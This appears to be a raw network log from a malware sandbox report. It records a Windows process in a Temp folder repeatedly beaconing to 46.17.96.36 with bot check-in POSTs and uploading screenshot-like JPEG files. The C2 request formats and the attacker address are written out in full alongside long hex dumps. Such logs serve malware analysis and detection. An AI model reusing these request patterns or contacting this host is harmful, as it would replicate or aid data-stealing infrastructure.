Aug 29, 2021 22:27:16.137051105 CEST	2890	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:16.171897888 CEST	2893	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:16.280502081 CEST	2960	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.4	49909	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:03.286886930 CEST	12487	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:03.364206076 CEST	12576	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.4	49910	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:03.289186954 CEST	12487	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:03.289207935 CEST	12487	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:03.289426088 CEST	12497	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:03.289490938 CEST	12500	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:03.322896957 CEST	12506	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:03.322956085 CEST	12508	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:03.323373079 CEST	12516	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:03.323604107 CEST	12519	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:03.324461937 CEST	12520	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:03.325066090 CEST	12526	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:03.356502056 CEST	12536	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:03.459754944 CEST	12595	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.4	49911	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:03.535959959 CEST	12596	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:03.608139038 CEST	12596	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:03.699312925 CEST	12597	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:03.699377060 CEST	12597	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:03.699523926 CEST	12607	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:03.699598074 CEST	12609	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:03.734952927 CEST	12618	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:03.735047102 CEST	12631	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:03.735816002 CEST	12636	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:03.770742893 CEST	12652	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:03.770808935 CEST	12660	OUT	Data Raw: 51 57 3e c4 68 fb 11 a3 d9 cb b0 bd ac 4a 74 0a b9 f6 16 a5 fb 0b 51 ec a5 d8 3d ac 7b 94 e9 45 5c fb 03 53 85 83 53 54 a4 2f 6b 1e e5 1a 5a b9 f6 16 cd 2f d8 18 d3 f6 52 17 b5 8f 72 9d 1c 55 cf b0 35 2f d8 0d 3f 65 20 f6 b1 ee 52 a0 d5 d1 60 d4 Data Ascii: QW>hJtQ={E\SST/kZ/RrU5/?e R`e!{X(W/qO;)UZQZc.uE_>Q={)xi4Uem}%i4fZ=-j&HOja_X+a>>hz z
Aug 29, 2021 22:28:03.771054029 CEST	12676	OUT	Data Raw: ff 00 84 6b 5f 92 c1 65 69 23 da 24 8d 9d 0a 36 d3 9c 64 10 0e 78 ad a9 56 e7 d1 ee 63 56 97 26 ab 63 0c 75 a7 f6 a6 53 bb 57 42 30 61 de 9e 29 29 d5 44 b2 c5 95 a4 fa 85 f5 bd 95 ac 7e 65 c5 c4 ab 14 49 90 37 3b 10 00 c9 e0 72 7b d7 61 ff 00 0a Data Ascii: k_ei#$6dxVcV&cuSWB0a))D~eI7;r{a??gZT~C+iSH6Q7Tuo~,P;uG&8$#$BN'T7CLK;o9LH~.fUM?
Aug 29, 2021 22:28:03.771166086 CEST	12686	OUT	Data Raw: 06 b3 d3 40 d0 fc 96 d4 de 2d 4f ec 0d a3 1d 49 2d 0d cc 6b 3a b0 9c 43 83 27 96 41 53 92 c0 ec 19 18 ac fd a5 2b 5e df d6 bf e4 ca 54 ea 3e a4 7f f0 b2 fc 63 ff 00 43 0d ef fd f4 3f c2 99 27 c4 7f 17 4b 1b 47 26 bf 78 e8 e0 ab 2b 30 20 83 d4 11 Data Ascii: @-OI-k:C'AS+^T>cC?'KG&x+0 ~+a3pfk%H;(\|+pOC4Om==iJo9K9>z}?9'wbX;4sd*cqUMl,N\|#guUbnT_
Aug 29, 2021 22:28:03.877320051 CEST	12704	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.4	49912	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:03.836005926 CEST	12704	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:03.908984900 CEST	12704	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.4	49913	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:04.121618986 CEST	12705	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:04.193305016 CEST	12719	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.4	49914	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:04.171104908 CEST	12706	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:04.171350956 CEST	12706	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:04.171379089 CEST	12716	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:04.171494007 CEST	12719	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:04.206326962 CEST	12722	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:04.206557989 CEST	12725	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:04.206727028 CEST	12727	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:04.206757069 CEST	12739	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:04.206780910 CEST	12742	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:04.206796885 CEST	12744	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:04.241787910 CEST	12747	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:04.363234043 CEST	12814	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.4	49915	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
